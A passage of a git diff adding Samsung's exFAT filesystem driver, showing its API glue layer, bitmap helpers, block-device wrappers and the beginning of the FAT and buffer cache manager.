FsRemoveFile */ + +/* FsSetAttr : set the attribute of a given file */ +int FsSetAttr(struct inode *inode, u32 attr) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsSetAttr(inode, attr); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsSetAttr */ + +/* FsReadStat : get the information of a given file */ +int FsReadStat(struct inode *inode, DIR_ENTRY_T *info) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsGetStat(inode, info); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsReadStat */ + +/* FsWriteStat : set the information of a given file */ +int FsWriteStat(struct inode *inode, DIR_ENTRY_T *info) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + DPRINTK("FsWriteStat entered (inode %p info %p\n", inode, info); + + err = ffsSetStat(inode, info); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + DPRINTK("FsWriteStat exited (%d)\n", err); + + return err; +} /* end of FsWriteStat */ + +/* FsMapCluster : return the cluster number in the given cluster offset */ +int FsMapCluster(struct inode *inode, s32 clu_offset, u32 *clu) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of pointer parameters */ + if (clu == NULL) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsMapCluster(inode, clu_offset, clu); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsMapCluster */ + +/*----------------------------------------------------------------------*/ +/* Directory Operation Functions */ +/*----------------------------------------------------------------------*/ + +/* FsCreateDir : create(make) a directory */ +int FsCreateDir(struct inode *inode, char *path, FILE_ID_T *fid) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of pointer parameters */ + if ((fid == NULL) || (path == NULL) || (*path == '\0')) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsCreateDir(inode, path, fid); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsCreateDir */ + +/* FsReadDir : read a directory entry from the opened directory */ +int FsReadDir(struct inode *inode, DIR_ENTRY_T *dir_entry) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of pointer parameters */ + if (dir_entry == NULL) + return FFS_ERROR; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsReadDir(inode, dir_entry); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsReadDir */ + +/* FsRemoveDir : remove a directory */ +int FsRemoveDir(struct inode *inode, FILE_ID_T *fid) +{ + int err; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of the given file id */ + if (fid == NULL) + return FFS_INVALIDFID; + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + err = ffsRemoveDir(inode, fid); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return err; +} /* end of FsRemoveDir */ + +EXPORT_SYMBOL(FsMountVol); +EXPORT_SYMBOL(FsUmountVol); +EXPORT_SYMBOL(FsGetVolInfo); +EXPORT_SYMBOL(FsSyncVol); +EXPORT_SYMBOL(FsLookupFile); +EXPORT_SYMBOL(FsCreateFile); +EXPORT_SYMBOL(FsReadFile); +EXPORT_SYMBOL(FsWriteFile); +EXPORT_SYMBOL(FsTruncateFile); +EXPORT_SYMBOL(FsMoveFile); +EXPORT_SYMBOL(FsRemoveFile); +EXPORT_SYMBOL(FsSetAttr); +EXPORT_SYMBOL(FsReadStat); +EXPORT_SYMBOL(FsWriteStat); +EXPORT_SYMBOL(FsMapCluster); +EXPORT_SYMBOL(FsCreateDir); +EXPORT_SYMBOL(FsReadDir); +EXPORT_SYMBOL(FsRemoveDir); + +#ifdef CONFIG_EXFAT_KERNEL_DEBUG +/* FsReleaseCache: Release FAT & buf cache */ +int FsReleaseCache(struct super_block *sb) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* acquire the lock for file system critical section */ + sm_P(&p_fs->v_sem); + + FAT_release_all(sb); + buf_release_all(sb); + + /* release the lock for file system critical section */ + sm_V(&p_fs->v_sem); + + return 0; +} +/* FsReleaseCache */ + +EXPORT_SYMBOL(FsReleaseCache); +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + +/*======================================================================*/ +/* Local Function Definitions */ +/*======================================================================*/ diff --git a/fs/exfat/exfat_api.h b/fs/exfat/exfat_api.h new file mode 100644 index 0000000000000..84bdf612a1e66 --- /dev/null +++ b/fs/exfat/exfat_api.h @@ -0,0 +1,206 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_api.h */ +/* PURPOSE : Header File for exFAT API Glue Layer */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_API_H +#define _EXFAT_API_H + +#include +#include "exfat_config.h" + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions */ +/*----------------------------------------------------------------------*/ + +#define EXFAT_SUPER_MAGIC (0x2011BAB0L) +#define EXFAT_ROOT_INO 1 + +/* FAT types */ +#define FAT12 0x01 /* FAT12 */ +#define FAT16 0x0E /* Win95 FAT16 (LBA) */ +#define FAT32 0x0C /* Win95 FAT32 (LBA) */ +#define EXFAT 0x07 /* exFAT */ + +/* file name lengths */ +#define MAX_CHARSET_SIZE 3 /* max size of multi-byte character */ +#define MAX_PATH_DEPTH 15 /* max depth of path name */ +#define MAX_NAME_LENGTH 256 /* max len of file name including NULL */ +#define MAX_PATH_LENGTH 260 /* max len of path name including NULL */ +#define DOS_NAME_LENGTH 11 /* DOS file name length excluding NULL */ +#define DOS_PATH_LENGTH 80 /* DOS path name length excluding NULL */ + +/* file attributes */ +#define ATTR_NORMAL 0x0000 +#define ATTR_READONLY 0x0001 +#define ATTR_HIDDEN 0x0002 +#define ATTR_SYSTEM 0x0004 +#define ATTR_VOLUME 0x0008 +#define ATTR_SUBDIR 0x0010 +#define ATTR_ARCHIVE 0x0020 +#define ATTR_SYMLINK 0x0040 +#define ATTR_EXTEND 0x000F +#define ATTR_RWMASK 0x007E + +/* file creation modes */ +#define FM_REGULAR 0x00 +#define FM_SYMLINK 0x40 + +/* return values */ +#define FFS_SUCCESS 0 +#define FFS_MEDIAERR 1 +#define FFS_FORMATERR 2 +#define FFS_MOUNTED 3 +#define FFS_NOTMOUNTED 4 +#define FFS_ALIGNMENTERR 5 +#define FFS_SEMAPHOREERR 6 +#define FFS_INVALIDPATH 7 +#define FFS_INVALIDFID 8 +#define FFS_NOTFOUND 9 +#define FFS_FILEEXIST 10 +#define FFS_PERMISSIONERR 11 +#define FFS_NOTOPENED 12 +#define FFS_MAXOPENED 13 +#define FFS_FULL 14 +#define FFS_EOF 15 +#define FFS_DIRBUSY 16 +#define FFS_MEMORYERR 17 +#define FFS_NAMETOOLONG 18 +#define FFS_ERROR 19 + +/*----------------------------------------------------------------------*/ +/* Type Definitions */ +/*----------------------------------------------------------------------*/ + +typedef struct { + u16 Year; + u16 Month; + u16 Day; + u16 Hour; + u16 Minute; + u16 Second; + u16 MilliSecond; +} DATE_TIME_T; + +typedef struct { + u32 Offset; /* start sector number of the partition */ + u32 Size; /* in sectors */ +} PART_INFO_T; + +typedef struct { + u32 SecSize; /* sector size in bytes */ + u32 DevSize; /* block device size in sectors */ +} DEV_INFO_T; + +typedef struct { + u32 FatType; + u32 ClusterSize; + u32 NumClusters; + u32 FreeClusters; + u32 UsedClusters; +} VOL_INFO_T; + +/* directory structure */ +typedef struct { + u32 dir; + s32 size; + u8 flags; +} CHAIN_T; + +/* file id structure */ +typedef struct { + CHAIN_T dir; + s32 entry; + u32 type; + u32 attr; + u32 start_clu; + u64 size; + u8 flags; + s64 rwoffset; + s32 hint_last_off; + u32 hint_last_clu; +} FILE_ID_T; + +typedef struct { + char Name[MAX_NAME_LENGTH * MAX_CHARSET_SIZE]; + char ShortName[DOS_NAME_LENGTH + 2]; /* used only for FAT12/16/32, not used for exFAT */ + u32 Attr; + u64 Size; + u32 NumSubdirs; + DATE_TIME_T CreateTimestamp; + DATE_TIME_T ModifyTimestamp; + DATE_TIME_T AccessTimestamp; +} DIR_ENTRY_T; + +/*======================================================================*/ +/* */ +/* API FUNCTION DECLARATIONS */ +/* (CHANGE THIS PART IF REQUIRED) */ +/* */ +/*======================================================================*/ + +/*----------------------------------------------------------------------*/ +/* External Function Declarations */ +/*----------------------------------------------------------------------*/ + +/* file system initialization & shutdown functions */ + int FsInit(void); + int FsShutdown(void); + +/* volume management functions */ + int FsMountVol(struct super_block *sb); + int FsUmountVol(struct super_block *sb); + int FsGetVolInfo(struct super_block *sb, VOL_INFO_T *info); + int FsSyncVol(struct super_block *sb, int do_sync); + +/* file management functions */ + int FsLookupFile(struct inode *inode, char *path, FILE_ID_T *fid); + int FsCreateFile(struct inode *inode, char *path, u8 mode, FILE_ID_T *fid); + int FsReadFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *rcount); + int FsWriteFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *wcount); + int FsTruncateFile(struct inode *inode, u64 old_size, u64 new_size); + int FsMoveFile(struct inode *old_parent_inode, FILE_ID_T *fid, struct inode *new_parent_inode, struct dentry *new_dentry); + int FsRemoveFile(struct inode *inode, FILE_ID_T *fid); + int FsSetAttr(struct inode *inode, u32 attr); + int FsReadStat(struct inode *inode, DIR_ENTRY_T *info); + int FsWriteStat(struct inode *inode, DIR_ENTRY_T *info); + int FsMapCluster(struct inode *inode, s32 clu_offset, u32 *clu); + +/* directory management functions */ + int FsCreateDir(struct inode *inode, char *path, FILE_ID_T *fid); + int FsReadDir(struct inode *inode, DIR_ENTRY_T *dir_entry); + int FsRemoveDir(struct inode *inode, FILE_ID_T *fid); + +/* debug functions */ +s32 FsReleaseCache(struct super_block *sb); + +#endif /* _EXFAT_API_H */ diff --git a/fs/exfat/exfat_bitmap.c b/fs/exfat/exfat_bitmap.c new file mode 100644 index 0000000000000..b0672dd073fcf --- /dev/null +++ b/fs/exfat/exfat_bitmap.c @@ -0,0 +1,63 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_global.c */ +/* PURPOSE : exFAT Miscellaneous Functions */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include "exfat_config.h" +#include "exfat_bitmap.h" + +/*----------------------------------------------------------------------*/ +/* Bitmap Manipulation Functions */ +/*----------------------------------------------------------------------*/ + +#define BITMAP_LOC(v) ((v) >> 3) +#define BITMAP_SHIFT(v) ((v) & 0x07) + +s32 exfat_bitmap_test(u8 *bitmap, int i) +{ + u8 data; + + data = bitmap[BITMAP_LOC(i)]; + if ((data >> BITMAP_SHIFT(i)) & 0x01) + return 1; + return 0; +} /* end of Bitmap_test */ + +void exfat_bitmap_set(u8 *bitmap, int i) +{ + bitmap[BITMAP_LOC(i)] |= (0x01 << BITMAP_SHIFT(i)); +} /* end of Bitmap_set */ + +void exfat_bitmap_clear(u8 *bitmap, int i) +{ + bitmap[BITMAP_LOC(i)] &= ~(0x01 << BITMAP_SHIFT(i)); +} /* end of Bitmap_clear */ diff --git a/fs/exfat/exfat_bitmap.h b/fs/exfat/exfat_bitmap.h new file mode 100644 index 0000000000000..4f482c7b28ccc --- /dev/null +++ b/fs/exfat/exfat_bitmap.h @@ -0,0 +1,55 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_global.h */ +/* PURPOSE : Header File for exFAT Global Definitions & Misc Functions */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_BITMAP_H +#define _EXFAT_BITMAP_H + +#include + +/*======================================================================*/ +/* */ +/* LIBRARY FUNCTION DECLARATIONS -- OTHER UTILITY FUNCTIONS */ +/* (DO NOT CHANGE THIS PART !!) */ +/* */ +/*======================================================================*/ + +/*----------------------------------------------------------------------*/ +/* Bitmap Manipulation Functions */ +/*----------------------------------------------------------------------*/ + +s32 exfat_bitmap_test(u8 *bitmap, int i); +void exfat_bitmap_set(u8 *bitmap, int i); +void exfat_bitmap_clear(u8 *bitmpa, int i); + +#endif /* _EXFAT_BITMAP_H */ diff --git a/fs/exfat/exfat_blkdev.c b/fs/exfat/exfat_blkdev.c new file mode 100644 index 0000000000000..02fa4fe18eca1 --- /dev/null +++ b/fs/exfat/exfat_blkdev.c @@ -0,0 +1,197 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_blkdev.c */ +/* PURPOSE : exFAT Block Device Driver Glue Layer */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include +#include +#include "exfat_config.h" +#include "exfat_blkdev.h" +#include "exfat_data.h" +#include "exfat_api.h" +#include "exfat_super.h" + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Global Variable Definitions */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Local Variable Definitions */ +/*----------------------------------------------------------------------*/ + +/*======================================================================*/ +/* Function Definitions */ +/*======================================================================*/ + +s32 bdev_init(void) +{ + return FFS_SUCCESS; +} + +s32 bdev_shutdown(void) +{ + return FFS_SUCCESS; +} + +s32 bdev_open(struct super_block *sb) +{ + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (p_bd->opened) + return FFS_SUCCESS; + + p_bd->sector_size = bdev_logical_block_size(sb->s_bdev); + p_bd->sector_size_bits = ilog2(p_bd->sector_size); + p_bd->sector_size_mask = p_bd->sector_size - 1; + p_bd->num_sectors = i_size_read(sb->s_bdev->bd_inode) >> p_bd->sector_size_bits; + + p_bd->opened = TRUE; + + return FFS_SUCCESS; +} + +s32 bdev_close(struct super_block *sb) +{ + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (!p_bd->opened) + return FFS_SUCCESS; + + p_bd->opened = FALSE; + return FFS_SUCCESS; +} + +s32 bdev_read(struct super_block *sb, u32 secno, struct buffer_head **bh, u32 num_secs, s32 read) +{ + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + struct exfat_sb_info *sbi = EXFAT_SB(sb); + long flags = sbi->debug_flags; + + if (flags & EXFAT_DEBUGFLAGS_ERROR_RW) + return FFS_MEDIAERR; +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + + if (!p_bd->opened) + return FFS_MEDIAERR; + + if (*bh) + __brelse(*bh); + + if (read) + *bh = __bread(sb->s_bdev, secno, num_secs << p_bd->sector_size_bits); + else + *bh = __getblk(sb->s_bdev, secno, num_secs << p_bd->sector_size_bits); + + if (*bh) + return FFS_SUCCESS; + + WARN(!p_fs->dev_ejected, + "[EXFAT] No bh, device seems wrong or to be ejected.\n"); + + return FFS_MEDIAERR; +} + +s32 bdev_write(struct super_block *sb, u32 secno, struct buffer_head *bh, u32 num_secs, s32 sync) +{ + s32 count; + struct buffer_head *bh2; + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + struct exfat_sb_info *sbi = EXFAT_SB(sb); + long flags = sbi->debug_flags; + + if (flags & EXFAT_DEBUGFLAGS_ERROR_RW) + return FFS_MEDIAERR; +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + + if (!p_bd->opened) + return FFS_MEDIAERR; + + if (secno == bh->b_blocknr) { + lock_buffer(bh); + set_buffer_uptodate(bh); + mark_buffer_dirty(bh); + unlock_buffer(bh); + if (sync && (sync_dirty_buffer(bh) != 0)) + return FFS_MEDIAERR; + } else { + count = num_secs << p_bd->sector_size_bits; + + bh2 = __getblk(sb->s_bdev, secno, count); + + if (bh2 == NULL) + goto no_bh; + + lock_buffer(bh2); + memcpy(bh2->b_data, bh->b_data, count); + set_buffer_uptodate(bh2); + mark_buffer_dirty(bh2); + unlock_buffer(bh2); + if (sync && (sync_dirty_buffer(bh2) != 0)) { + __brelse(bh2); + goto no_bh; + } + __brelse(bh2); + } + + return FFS_SUCCESS; + +no_bh: + WARN(!p_fs->dev_ejected, + "[EXFAT] No bh, device seems wrong or to be ejected.\n"); + + return FFS_MEDIAERR; +} + +s32 bdev_sync(struct super_block *sb) +{ + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + struct exfat_sb_info *sbi = EXFAT_SB(sb); + long flags = sbi->debug_flags; + + if (flags & EXFAT_DEBUGFLAGS_ERROR_RW) + return FFS_MEDIAERR; +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + + if (!p_bd->opened) + return FFS_MEDIAERR; + + return sync_blockdev(sb->s_bdev); +} diff --git a/fs/exfat/exfat_blkdev.h b/fs/exfat/exfat_blkdev.h new file mode 100644 index 0000000000000..169d25d46bf43 --- /dev/null +++ b/fs/exfat/exfat_blkdev.h @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_blkdev.h */ +/* PURPOSE : Header File for exFAT Block Device Driver Glue Layer */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_BLKDEV_H +#define _EXFAT_BLKDEV_H + +#include +#include "exfat_config.h" + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions (Non-Configurable) */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Type Definitions */ +/*----------------------------------------------------------------------*/ + +typedef struct __BD_INFO_T { + s32 sector_size; /* in bytes */ + s32 sector_size_bits; + s32 sector_size_mask; + s32 num_sectors; /* total number of sectors in this block device */ + bool opened; /* opened or not */ +} BD_INFO_T; + +/*----------------------------------------------------------------------*/ +/* External Variable Declarations */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* External Function Declarations */ +/*----------------------------------------------------------------------*/ + +s32 bdev_init(void); +s32 bdev_shutdown(void); +s32 bdev_open(struct super_block *sb); +s32 bdev_close(struct super_block *sb); +s32 bdev_read(struct super_block *sb, u32 secno, struct buffer_head **bh, u32 num_secs, s32 read); +s32 bdev_write(struct super_block *sb, u32 secno, struct buffer_head *bh, u32 num_secs, s32 sync); +s32 bdev_sync(struct super_block *sb); + +#endif /* _EXFAT_BLKDEV_H */ diff --git a/fs/exfat/exfat_cache.c b/fs/exfat/exfat_cache.c new file mode 100644 index 0000000000000..e6ca88b8e8d7e --- /dev/null +++ b/fs/exfat/exfat_cache.c @@ -0,0 +1,780 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_cache.c */ +/* PURPOSE : exFAT Cache Manager */ +/* (FAT Cache & Buffer Cache) */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Sung-Kwan Kim] : first writing */ +/* */ +/************************************************************************/ + +#include "exfat_config.h" +#include "exfat_data.h" + +#include "exfat_cache.h" +#include "exfat_super.h" +#include "exfat_core.h" + +/*----------------------------------------------------------------------*/ +/* Global Variable Definitions */ +/*----------------------------------------------------------------------*/ + +#define sm_P(s) +#define sm_V(s) + +static s32 __FAT_read(struct super_block *sb, u32 loc, u32 *content); +static s32 __FAT_write(struct super_block *sb, u32 loc, u32 content); + +static BUF_CACHE_T *FAT_cache_find(struct super_block *sb, u32 sec); +static BUF_CACHE_T *FAT_cache_get(struct super_block *sb, u32 sec); +static void FAT_cache_insert_hash(struct super_block *sb, BUF_CACHE_T *bp); +static void FAT_cache_remove_hash(BUF_CACHE_T *bp); + +static u8 *__buf_getblk(struct super_block *sb, u32 sec); + +static BUF_CACHE_T *buf_cache_find(struct super_block *sb, u32 sec); +static BUF_CACHE_T *buf_cache_get(struct super_block *sb, u32 sec); +static void buf_cache_insert_hash(struct super_block *sb, BUF_CACHE_T *bp); +static void buf_cache_remove_hash(BUF_CACHE_T *bp); + +static void push_to_mru(BUF_CACHE_T *bp, BUF_CACHE_T *list); +static void push_to_lru(BUF_CACHE_T *bp, BUF_CACHE_T *list); +static void move_to_mru(BUF_CACHE_T *bp, BUF_CACHE_T *list); +static void move_to_lru(BUF_CACHE_T *bp, BUF_CACHE_T *list); + +/*======================================================================*/ +/* Cache Initialization Functions */ +/*======================================================================*/ + +s32 buf_init(struct super_block *sb) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + int i; + + /* LRU list */ + p_fs->FAT_cache_lru_list.next = p_fs->FAT_cache_lru_list.prev = &p_fs->FAT_cache_lru_list; + + for (i = 0; i < FAT_CACHE_SIZE; i++) { + p_fs->FAT_cache_array[i].drv = -1; + p_fs->FAT_cache_array[i].sec = ~0; + p_fs->FAT_cache_array[i].flag = 0; + p_fs->FAT_cache_array[i].buf_bh = NULL; + p_fs->FAT_cache_array[i].prev = p_fs->FAT_cache_array[i].next = NULL; + push_to_mru(&(p_fs->FAT_cache_array[i]), &p_fs->FAT_cache_lru_list); + } + + p_fs->buf_cache_lru_list.next = p_fs->buf_cache_lru_list.prev = &p_fs->buf_cache_lru_list; + + for (i = 0; i < BUF_CACHE_SIZE; i++) { + p_fs->buf_cache_array[i].drv = -1; + p_fs->buf_cache_array[i].sec = ~0; + p_fs->buf_cache_array[i].flag = 0; + p_fs->buf_cache_array[i].buf_bh = NULL; + p_fs->buf_cache_array[i].prev = p_fs->buf_cache_array[i].next = NULL; + push_to_mru(&(p_fs->buf_cache_array[i]), &p_fs->buf_cache_lru_list); + } + + /* HASH list */ + for (i = 0; i < FAT_CACHE_HASH_SIZE; i++) { + p_fs->FAT_cache_hash_list[i].drv = -1; + p_fs->FAT_cache_hash_list[i].sec = ~0; + p_fs->FAT_cache_hash_list[i].hash_next = p_fs->FAT_cache_hash_list[i].hash_prev = &(p_fs->FAT_cache_hash_list[i]); + } + + for (i = 0; i < FAT_CACHE_SIZE; i++) + FAT_cache_insert_hash(sb, &(p_fs->FAT_cache_array[i])); + + for (i = 0; i < BUF_CACHE_HASH_SIZE; i++) { + p_fs->buf_cache_hash_list[i].drv = -1; + p_fs->buf_cache_hash_list[i].sec = ~0; + p_fs->buf_cache_hash_list[i].hash_next = p_fs->buf_cache_hash_list[i].hash_prev = &(p_fs->buf_cache_hash_list[i]); + } + + for (i = 0; i < BUF_CACHE_SIZE; i++) + buf_cache_insert_hash(sb, &(p_fs->buf_cache_array[i])); + + return FFS_SUCCESS; +} /* end of buf_init */ + +s32 buf_shutdown(struct super_block *sb) +{ + return FFS_SUCCESS; +} /* end of buf_shutdown */ + +/*======================================================================*/ +/* FAT Read/Write Functions */ +/*======================================================================*/ + +/* in : sb, loc + * out: content + * returns 0 on success + * -1 on error + */ +s32 FAT_read(struct super_block *sb, u32 loc, u32 *content) +{ + s32 ret; + + sm_P(&f_sem); + + ret = __FAT_read(sb, loc, content); + + sm_V(&f_sem); + + return ret; +} /* end of FAT_read */ + +s32 FAT_write(struct super_block *sb, u32 loc, u32 content) +{ + s32 ret; + + sm_P(&f_sem); + + ret = __FAT_write(sb, loc, content); + + sm_V(&f_sem); + + return ret; +} /* end of FAT_write */ + +static s32 __FAT_read(struct super_block *sb, u32 loc, u32 *content) +{ + s32 off; + u32 sec, _content; + u8 *fat_sector, *fat_entry; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (p_fs->vol_type == FAT12) { + sec = p_fs->FAT1_start_sector + ((loc + (loc >> 1)) >> p_bd->sector_size_bits); + off = (loc + (loc >> 1)) & p_bd->sector_size_mask; + + if (off == (p_bd->sector_size-1)) { + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + _content = (u32) fat_sector[off]; + + fat_sector = FAT_getblk(sb, ++sec); + if (!fat_sector) + return -1; + + _content |= (u32) fat_sector[0] << 8; + } else { + fat_sector = FAT_getblk(sb, sec); + if (!fat_sector) + return -1; + + fat_entry = &(fat_sector[off]); + _content = GET16(fat_entry); + } + + if (loc & 1) + _content >>= 4; + + _content &= 0x00000FFF; + + if (_content >= CLUSTER_16(0x0FF8)) { + *content = 